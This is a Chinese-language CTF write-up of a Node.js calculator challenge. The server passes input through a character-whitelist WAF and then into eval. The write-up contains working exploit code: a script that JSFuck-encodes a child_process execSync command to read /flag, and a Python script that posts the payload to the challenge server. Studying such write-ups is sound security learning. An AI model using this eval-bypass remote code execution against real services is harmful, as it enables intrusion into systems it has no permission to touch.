image-20260203154451105

进来是一个计算器，题目是给了源码的，根据题目名和WAF可以知道此题是利用jsfuck编码来执行命令，实现rce

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js引擎可以直接运行jsfuck编码，不需要解码
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const express = require('express');
const app = express();
const port = 5000;

app.use(express.json());


const WAF = (recipe) => {
    const ALLOW_CHARS = /^[012345679!\.\-\+\*\/\(\)\[\]]+$/;
    if (ALLOW_CHARS.test(recipe)) {
        return true;
    }
    return false;
};


function calc(operator) {
    return eval(operator);
}

app.get('/', (req, res) => {
    res.sendFile(__dirname + '/index.html');
});


app.post('/calc', (req, res) => {
    const { expr } = req.body;
    console.log(expr);
    if(WAF(expr)){
        var result = calc(expr);
        res.json({ result });
    }else{
        res.json({"result":"WAF"});
    }
});


app.listen(port, () => {
    console.log(`Server running on port ${port}`);
});

根据流程先审计js代码

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const express = require('express');
const app = express();
const port = 5000;

app.use(express.json()); //让服务器看懂json格式数据


const WAF = (recipe) => {
    const ALLOW_CHARS = /^[012345679!\.\-\+\*\/\(\)\[\]]+$/;//payload中只能有这些字符，jsfuck编码完美绕过
    if (ALLOW_CHARS.test(recipe)) {
        return true;
    }
    return false;
};


function calc(operator) {
    return eval(operator);//漏洞点
}

app.get('/', (req, res) => {  //主页路由
    res.sendFile(__dirname + '/index.html');
});


app.post('/calc', (req, res) => {  
    const { expr } = req.body; //简便语法，将传过去的json数据中的expr值提取出来赋值给变量expr
    console.log(expr);
    if(WAF(expr)){
        var result = calc(expr); 	//执行得到结果
        res.json({ result });		//将result转成json格式并作出响应
    }else{
        res.json({"result":"WAF"});
    }
});


app.listen(port, () => {
    console.log(`Server running on port ${port}`);
});

网站一般转的jsfuck编码一般都不可执行，我们可以用js代码生成可执行jsfuck编码

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// 这里需要有jsfuck模块，可以pnpm install jsfuck 或 npm install jsfuck
const JSFuck = require("jsfuck").JSFuck;

// payload
const code =  "return process.mainModule.require('child_process').execSync('cat /flag').toString()";

// 这里必须是true，不然命令只会被看成是字符串，不会被执行
const payload = JSFuck.encode(code, true);

console.log(payload);

再写个python脚本，发送请求，得到flag

image-20260203165520624

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import requests

url="http://challenge.shc.tf:30857/"

data={
    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!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()"
}
response = requests.post(url+"calc",json=data)
print(response.text)